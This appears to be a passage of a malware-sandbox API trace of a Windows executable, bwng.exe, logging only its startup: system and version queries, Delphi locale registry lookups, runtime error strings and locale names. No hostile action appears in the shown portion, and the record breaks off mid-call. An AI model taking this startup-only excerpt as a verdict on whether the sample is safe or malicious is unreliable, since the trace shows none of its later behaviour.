# Flog Txt Version 1 # Analyzer Version: 3.2.1 # Analyzer Build Date: Jan 15 2020 08:26:44 # Log Creation Date: 21.01.2020 14:54:28.561 Process: id = "1" image_name = "bwng.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwng.exe" page_root = "0x34c57000" os_pid = "0x328" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x444" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x5b0 [0024.673] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0024.673] SetThreadLocale (Locale=0x400) returned 1 [0024.750] GetVersion () returned 0x1db10106 [0024.750] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0024.750] GetProcAddress (hModule=0x76e10000, lpProcName="GetThreadPreferredUILanguages") returned 0x76ea47a1 [0024.750] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0024.750] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadPreferredUILanguages") returned 0x76eb79e5 [0024.750] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0024.750] GetProcAddress (hModule=0x76e10000, lpProcName="GetThreadUILanguage") returned 0x76e4cf14 [0024.750] GetSystemInfo (in: lpSystemInfo=0x18fb98 | out: lpSystemInfo=0x18fb98*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0024.750] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0024.750] GetStartupInfoW (in: lpStartupInfo=0x18fb74 | out: lpStartupInfo=0x18fb74*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4, hStdOutput=0x200202, hStdError=0x1f80)) [0024.750] GetACP () returned 0x4e4 [0024.750] GetCurrentThreadId () returned 0x5b0 [0024.750] GetVersion () returned 0x1db10106 [0024.750] GetVersionExW (in: lpVersionInformation=0x18faa8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7735019b, dwMinorVersion=0x773502ea, dwBuildNumber=0x6f2970, dwPlatformId=0x18fb0e, szCSDVersion="") | out: lpVersionInformation=0x18faa8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0024.751] GetModuleFileNameW (in: hModule=0x400000, lpFilename=0x18d964, nSize=0x20a | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwng.exe")) returned 0x2e [0024.751] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18d74e, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwng.exe")) returned 0x2e [0024.751] VirtualAlloc (lpAddress=0x0, dwSize=0x13fff0, flAllocationType=0x1000, flProtect=0x4) returned 0x1d80000 [0024.751] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d6c8 | out: phkResult=0x18d6c8*=0x0) returned 0x2 [0024.751] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d6c8 | out: phkResult=0x18d6c8*=0x0) returned 0x2 [0024.752] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d6c8 | out: phkResult=0x18d6c8*=0x0) returned 0x2 [0024.752] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d6c8 | out: phkResult=0x18d6c8*=0x0) returned 0x2 [0024.752] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d6c8 | out: phkResult=0x18d6c8*=0x0) returned 0x2 [0024.752] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d6c8 | out: phkResult=0x18d6c8*=0x0) returned 0x2 [0024.752] GetUserDefaultUILanguage () returned 0x409 [0024.755] IsValidLocale (Locale=0x409, dwFlags=0x2) returned 1 [0024.755] GetThreadUILanguage () returned 0x180409 [0024.755] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x18d6a4, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x18d6cc | out: pulNumLanguages=0x18d6a4, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x18d6cc) returned 1 [0024.755] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x18d6a4, pwszLanguagesBuffer=0x1eaa680, pcchLanguagesBuffer=0x18d6cc | out: pulNumLanguages=0x18d6a4, pwszLanguagesBuffer=0x1eaa680, pcchLanguagesBuffer=0x18d6cc) returned 1 [0024.755] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.en-US", lpFindFileData=0x18d474 | out: lpFindFileData=0x18d474*(dwFileAttributes=0x1010004, ftCreationTime.dwLowDateTime=0x18d3b0, ftCreationTime.dwHighDateTime=0x3, ftLastAccessTime.dwLowDateTime=0x18d6dc, ftLastAccessTime.dwHighDateTime=0x19, ftLastWriteTime.dwLowDateTime=0x749b2f, ftLastWriteTime.dwHighDateTime=0xfffffffe, nFileSizeHigh=0x12000113, nFileSizeLow=0x19, dwReserved0=0x0, dwReserved1=0x706750, cFileName="材p4쀀", cAlternateFileName="쀬ǩ譤@+")) returned 0xffffffff [0024.756] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.en", lpFindFileData=0x18d474 | out: lpFindFileData=0x18d474*(dwFileAttributes=0x1010004, ftCreationTime.dwLowDateTime=0x18d3b0, ftCreationTime.dwHighDateTime=0x3, ftLastAccessTime.dwLowDateTime=0x18d6dc, ftLastAccessTime.dwHighDateTime=0x19, ftLastWriteTime.dwLowDateTime=0x749b2f, ftLastWriteTime.dwHighDateTime=0xfffffffe, nFileSizeHigh=0x12000113, nFileSizeLow=0x19, dwReserved0=0x0, dwReserved1=0x706750, cFileName="材p4쀀", cAlternateFileName="跌ǫ譤@+")) returned 0xffffffff [0024.756] GetUserDefaultUILanguage () returned 0x409 [0024.756] GetLocaleInfoW (in: Locale=0x409, LCType=0x3, lpLCData=0x18d6e8, cchData=4 | out: lpLCData="ENU") returned 4 [0024.756] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.ENU", lpFindFileData=0x18d474 | out: lpFindFileData=0x18d474*(dwFileAttributes=0x1010004, ftCreationTime.dwLowDateTime=0x18d3b0, ftCreationTime.dwHighDateTime=0x3, ftLastAccessTime.dwLowDateTime=0x18d6dc, ftLastAccessTime.dwHighDateTime=0x19, ftLastWriteTime.dwLowDateTime=0x749b2f, ftLastWriteTime.dwHighDateTime=0xfffffffe, nFileSizeHigh=0x12000113, nFileSizeLow=0x19, dwReserved0=0x0, dwReserved1=0x706750, cFileName="材p4쀀", cAlternateFileName="跌ǫ譤@+")) returned 0xffffffff [0024.757] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.EN", lpFindFileData=0x18d474 | out: lpFindFileData=0x18d474*(dwFileAttributes=0x1010004, ftCreationTime.dwLowDateTime=0x18d3b0, ftCreationTime.dwHighDateTime=0x3, ftLastAccessTime.dwLowDateTime=0x18d6dc, ftLastAccessTime.dwHighDateTime=0x19, ftLastWriteTime.dwLowDateTime=0x749b2f, ftLastWriteTime.dwHighDateTime=0xfffffffe, nFileSizeHigh=0x12000113, nFileSizeLow=0x19, dwReserved0=0x0, dwReserved1=0x706750, cFileName="材p4쀀", cAlternateFileName="跌ǫ譤@+")) returned 0xffffffff [0024.757] LoadStringW (in: hInstance=0x400000, uID=0xffc7, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Method called on disposed object") returned 0x20 [0024.757] LoadStringW (in: hInstance=0x400000, uID=0xffc6, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Feature not implemented") returned 0x17 [0024.757] LoadStringW (in: hInstance=0x400000, uID=0xffc5, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Monitor support function not initialized") returned 0x28 [0024.757] LoadStringW (in: hInstance=0x400000, uID=0xffc4, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Object lock not owned") returned 0x15 [0024.757] LoadStringW (in: hInstance=0x400000, uID=0xffc3, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Exception in safecall method") returned 0x1c [0024.757] LoadStringW (in: hInstance=0x400000, uID=0xffc2, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Interface not supported") returned 0x17 [0024.757] LoadStringW (in: hInstance=0x400000, uID=0xffc0, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="External exception %x") returned 0x15 [0024.757] LoadStringW (in: hInstance=0x400000, uID=0xffc1, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Assertion failed") returned 0x10 [0024.757] LoadStringW (in: hInstance=0x400000, uID=0xffd3, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Variant or safe array index out of bounds") returned 0x29 [0024.757] LoadStringW (in: hInstance=0x400000, uID=0xffdc, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Invalid argument") returned 0x10 [0024.757] LoadStringW (in: hInstance=0x400000, uID=0xffd2, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Error creating variant or safe array") returned 0x24 [0024.757] LoadStringW (in: hInstance=0x400000, uID=0xffed, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Variant method calls not supported") returned 0x22 [0024.757] LoadStringW (in: hInstance=0x400000, uID=0xffd6, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Invalid variant operation") returned 0x19 [0024.757] LoadStringW (in: hInstance=0x400000, uID=0xffd5, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Invalid variant type conversion") returned 0x1f [0024.758] LoadStringW (in: hInstance=0x400000, uID=0xffe6, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Stack overflow") returned 0xe [0024.758] LoadStringW (in: hInstance=0x400000, uID=0xffe7, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Control-C hit") returned 0xd [0024.758] LoadStringW (in: hInstance=0x400000, uID=0xffe8, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Privileged instruction") returned 0x16 [0024.758] LoadStringW (in: hInstance=0x400000, uID=0xffe5, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Access violation") returned 0x10 [0024.758] LoadStringW (in: hInstance=0x400000, uID=0xffe3, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Invalid class typecast") returned 0x16 [0024.758] LoadStringW (in: hInstance=0x400000, uID=0xffe1, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Floating point underflow") returned 0x18 [0024.758] LoadStringW (in: hInstance=0x400000, uID=0xffe0, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Floating point overflow") returned 0x17 [0024.758] LoadStringW (in: hInstance=0x400000, uID=0xffff, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Floating point division by zero") returned 0x1f [0024.758] LoadStringW (in: hInstance=0x400000, uID=0xfffe, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Invalid floating point operation") returned 0x20 [0024.758] LoadStringW (in: hInstance=0x400000, uID=0xfffd, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Integer overflow") returned 0x10 [0024.758] LoadStringW (in: hInstance=0x400000, uID=0xfffc, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Range check error") returned 0x11 [0024.758] LoadStringW (in: hInstance=0x400000, uID=0xfffb, lpBuffer=0x18db98, cchBufferMax=4096 | out: lpBuffer="Division by zero") returned 0x10 [0024.758] LoadStringW (in: hInstance=0x400000, uID=0xfff4, lpBuffer=0x18db90, cchBufferMax=4096 | out: lpBuffer="Out of memory") returned 0xd [0024.758] LoadStringW (in: hInstance=0x400000, uID=0xffe2, lpBuffer=0x18db90, cchBufferMax=4096 | out: lpBuffer="Invalid pointer operation") returned 0x19 [0024.758] GetVersionExW (in: lpVersionInformation=0x18faa4*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18faa4*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0024.758] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76e10000 [0024.758] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x7063b8 [0024.758] GetProcAddress (hModule=0x76e10000, lpProcName="GetNativeSystemInfo") returned 0x76e310b5 [0024.758] GetNativeSystemInfo (in: lpSystemInfo=0x18fa80 | out: lpSystemInfo=0x18fa80*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0024.758] LoadStringW (in: hInstance=0x400000, uID=0xff68, lpBuffer=0x18da64, cchBufferMax=4096 | out: lpBuffer="Windows") returned 0x7 [0024.759] LoadStringW (in: hInstance=0x400000, uID=0xff6b, lpBuffer=0x18da64, cchBufferMax=4096 | out: lpBuffer="Windows 7") returned 0x9 [0024.759] LoadStringW (in: hInstance=0x400000, uID=0xfffa, lpBuffer=0x18db88, cchBufferMax=4096 | out: lpBuffer="Invalid numeric input") returned 0x15 [0024.759] LoadStringW (in: hInstance=0x400000, uID=0xfff9, lpBuffer=0x18db88, cchBufferMax=4096 | out: lpBuffer="Disk full") returned 0x9 [0024.759] LoadStringW (in: hInstance=0x400000, uID=0xfff8, lpBuffer=0x18db88, cchBufferMax=4096 | out: lpBuffer="Read beyond end of file") returned 0x17 [0024.759] LoadStringW (in: hInstance=0x400000, uID=0xfff7, lpBuffer=0x18db88, cchBufferMax=4096 | out: lpBuffer="File access denied") returned 0x12 [0024.809] LoadStringW (in: hInstance=0x400000, uID=0xfff6, lpBuffer=0x18db88, cchBufferMax=4096 | out: lpBuffer="Too many open files") returned 0x13 [0024.809] LoadStringW (in: hInstance=0x400000, uID=0xff85, lpBuffer=0x18db88, cchBufferMax=4096 | out: lpBuffer="Invalid file name - %s") returned 0x16 [0024.810] LoadStringW (in: hInstance=0x400000, uID=0xff7d, lpBuffer=0x18db88, cchBufferMax=4096 | out: lpBuffer="The specified file was not found") returned 0x20 [0024.810] GetVersionExW (in: lpVersionInformation=0x18fa98*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x10000, dwMinorVersion=0x55040006, dwBuildNumber=0x11c, dwPlatformId=0x6, szCSDVersion="\x01") | out: lpVersionInformation=0x18fa98*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0024.810] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0024.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetDiskFreeSpaceExW", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0024.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetDiskFreeSpaceExW", cchWideChar=19, lpMultiByteStr=0x1e780dc, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetDiskFreeSpaceExW", lpUsedDefaultChar=0x0) returned 19 [0024.810] GetProcAddress (hModule=0x76e10000, lpProcName="GetDiskFreeSpaceExW") returned 0x76e3d50f [0024.810] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f96e, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwng.exe")) returned 0x2e [0024.810] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fb7c | out: phkResult=0x18fb7c*=0x0) returned 0x2 [0024.810] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fb7c | out: phkResult=0x18fb7c*=0x0) returned 0x2 [0024.810] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fb7c | out: phkResult=0x18fb7c*=0x0) returned 0x2 [0024.810] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fb7c | out: phkResult=0x18fb7c*=0x0) returned 0x2 [0024.810] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fb7c | out: phkResult=0x18fb7c*=0x0) returned 0x2 [0024.810] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fb7c | out: phkResult=0x18fb7c*=0x0) returned 0x2 [0024.811] GetThreadLocale () returned 0x409 [0024.811] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fab4 | out: lpCPInfo=0x18fab4) returned 1 [0024.811] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0024.811] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0024.811] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0024.811] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0024.811] GetLogicalProcessorInformation (in: Buffer=0x0, ReturnedLength=0x18fa14 | out: Buffer=0x0, ReturnedLength=0x18fa14) returned 0 [0024.811] GetLastError () returned 0x7a [0024.811] GetLogicalProcessorInformation (in: Buffer=0x1e699d0, ReturnedLength=0x18fa14 | out: Buffer=0x1e699d0, ReturnedLength=0x18fa14) returned 1 [0024.811] GetCurrentThreadId () returned 0x5b0 [0024.811] GetCurrentThreadId () returned 0x5b0 [0024.811] GetLocaleInfoW (in: Locale=0x409, LCType=0x100b, lpLCData=0x18f81c, cchData=256 | out: lpLCData="2") returned 2 [0024.812] GetThreadLocale () returned 0x409 [0024.812] EnumCalendarInfoW (lpCalInfoEnumProc=0x41fb08, Locale=0x409, Calendar=0x2, CalType=0x4) returned 1 [0024.812] GetThreadLocale () returned 0x409 [0024.812] EnumCalendarInfoW (lpCalInfoEnumProc=0x41fbac, Locale=0x409, Calendar=0x2, CalType=0x3) returned 1 [0024.812] GetCurrentThreadId () returned 0x5b0 [0024.812] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x18f818, cchData=256 | out: lpLCData="Sun") returned 4 [0024.812] GetLocaleInfoW (in: Locale=0x409, LCType=0x30, lpLCData=0x18f818, cchData=256 | out: lpLCData="Sunday") returned 7 [0024.812] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x18f818, cchData=256 | out: lpLCData="Mon") returned 4 [0024.812] GetLocaleInfoW (in: Locale=0x409, LCType=0x2a, lpLCData=0x18f818, cchData=256 | out: lpLCData="Monday") returned 7 [0024.812] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x18f818, cchData=256 | out: lpLCData="Tue") returned 4 [0024.812] GetLocaleInfoW (in: Locale=0x409, LCType=0x2b, lpLCData=0x18f818, cchData=256 | out: lpLCData="Tuesday") returned 8 [0024.812] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x18f818, cchData=256 | out: lpLCData="Wed") returned 4 [0024.812] GetLocaleInfoW (in: Locale=0x409, LCType=0x2c, lpLCData=0x18f818, cchData=256 | out: lpLCData="Wednesday") returned 10 [0024.812] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x18f818, cchData=256 | out: lpLCData="Thu") returned 4 [0024.812] GetLocaleInfoW (in: Locale=0x409, LCType=0x2d, lpLCData=0x18f818, cchData=256 | out: lpLCData="Thursday") returned 9 [0024.812] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x18f818, cchData=256 | out: lpLCData="Fri") returned 4 [0024.812] GetLocaleInfoW (in: Locale=0x409, LCType=0x2e, lpLCData=0x18f818, cchData=256 | out: lpLCData="Friday") returned 7 [0024.812] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x18f818, cchData=256 | out: lpLCData="Sat") returned 4 [0024.812] GetLocaleInfoW (in: Locale=0x409, LCType=0x2f, lpLCData=0x18f818, cchData=256 | out: lpLCData="Saturday") returned 9 [0024.812] GetLocaleInfoW (in: Locale=0x409, LCType=0x44, lpLCData=0x18f81c, cchData=256 | out: lpLCData="Jan") returned 4 [0024.812] GetLocaleInfoW (in: Locale=0x409, LCType=0x38, lpLCData=0x18f81c, cchData=256 | out: lpLCData="January") returned 8 [0024.812] GetLocaleInfoW (in: Locale=0x409, LCType=0x45, lpLCData=0x18f81c, cchData=256 | out: lpLCData="Feb") returned 4 [0024.812] GetLocaleInfoW (in: Locale=0x409, LCType=0x39, lpLCData=0x18f81c, cchData=256 | out: lpLCData="February") returned 9 [0024.812] GetLocaleInfoW (in: Locale=0x409, LCType=0x46, lpLCData=0x18f81c, cchData=256 | out: lpLCData="Mar") returned 4 [0024.812] GetLocaleInfoW (in: Locale=0x409, LCType=0x3a, lpLCData=0x18f81c, cchData=256 | out: lpLCData="March") returned 6 [0024.812] GetLocaleInfoW (in: Locale=0x409, LCType=0x47, lpLCData=0x18f81c, cchData=256 | out: lpLCData="Apr") returned 4 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x3b, lpLCData=0x18f81c, cchData=256 | out: lpLCData="April") returned 6 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x48, lpLCData=0x18f81c, cchData=256 | out: lpLCData="May") returned 4 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x3c, lpLCData=0x18f81c, cchData=256 | out: lpLCData="May") returned 4 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x49, lpLCData=0x18f81c, cchData=256 | out: lpLCData="Jun") returned 4 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x3d, lpLCData=0x18f81c, cchData=256 | out: lpLCData="June") returned 5 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x4a, lpLCData=0x18f81c, cchData=256 | out: lpLCData="Jul") returned 4 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x3e, lpLCData=0x18f81c, cchData=256 | out: lpLCData="July") returned 5 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x4b, lpLCData=0x18f81c, cchData=256 | out: lpLCData="Aug") returned 4 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x3f, lpLCData=0x18f81c, cchData=256 | out: lpLCData="August") returned 7 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x4c, lpLCData=0x18f81c, cchData=256 | out: lpLCData="Sep") returned 4 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x40, lpLCData=0x18f81c, cchData=256 | out: lpLCData="September") returned 10 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x4d, lpLCData=0x18f81c, cchData=256 | out: lpLCData="Oct") returned 4 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x41, lpLCData=0x18f81c, cchData=256 | out: lpLCData="October") returned 8 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x4e, lpLCData=0x18f81c, cchData=256 | out: lpLCData="Nov") returned 4 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x42, lpLCData=0x18f81c, cchData=256 | out: lpLCData="November") returned 9 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x4f, lpLCData=0x18f81c, cchData=256 | out: lpLCData="Dec") returned 4 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x43, lpLCData=0x18f81c, cchData=256 | out: lpLCData="December") returned 9 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x14, lpLCData=0x18f86c, cchData=256 | out: lpLCData="$") returned 2 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x1b, lpLCData=0x18f86c, cchData=256 | out: lpLCData="0") returned 2 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x1c, lpLCData=0x18f86c, cchData=256 | out: lpLCData="0") returned 2 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x18fa64, cchData=2 | out: lpLCData=",") returned 2 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x18fa64, cchData=2 | out: lpLCData=".") returned 2 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x19, lpLCData=0x18f86c, cchData=256 | out: lpLCData="2") returned 2 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x18fa64, cchData=2 | out: lpLCData="/") returned 2 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x1f, lpLCData=0x18f824, cchData=256 | out: lpLCData="M/d/yyyy") returned 9 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x1009, lpLCData=0x18f824, cchData=256 | out: lpLCData="1") returned 2 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x20, lpLCData=0x18f824, cchData=256 | out: lpLCData="dddd, MMMM dd, yyyy") returned 20 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x1009, lpLCData=0x18f824, cchData=256 | out: lpLCData="1") returned 2 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x18fa64, cchData=2 | out: lpLCData=":") returned 2 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x28, lpLCData=0x18f86c, cchData=256 | out: lpLCData="AM") returned 3 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x29, lpLCData=0x18f86c, cchData=256 | out: lpLCData="PM") returned 3 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x25, lpLCData=0x18f86c, cchData=256 | out: lpLCData="0") returned 2 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x18f86c, cchData=256 | out: lpLCData="0") returned 2 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0x1005, lpLCData=0x18f86c, cchData=256 | out: lpLCData="0") returned 2 [0024.813] GetLocaleInfoW (in: Locale=0x409, LCType=0xc, lpLCData=0x18fa64, cchData=2 | out: lpLCData=",") returned 2 [0024.814] GetModuleHandleW (lpModuleName="oleaut32.dll") returned 0x769d0000 [0024.814] GetProcAddress (hModule=0x769d0000, lpProcName="VariantChangeTypeEx") returned 0x769d4c28 [0024.814] GetProcAddress (hModule=0x769d0000, lpProcName="VarNeg") returned 0x76a4c802 [0024.814] GetProcAddress (hModule=0x769d0000, lpProcName="VarNot") returned 0x76a4ec66 [0024.814] GetProcAddress 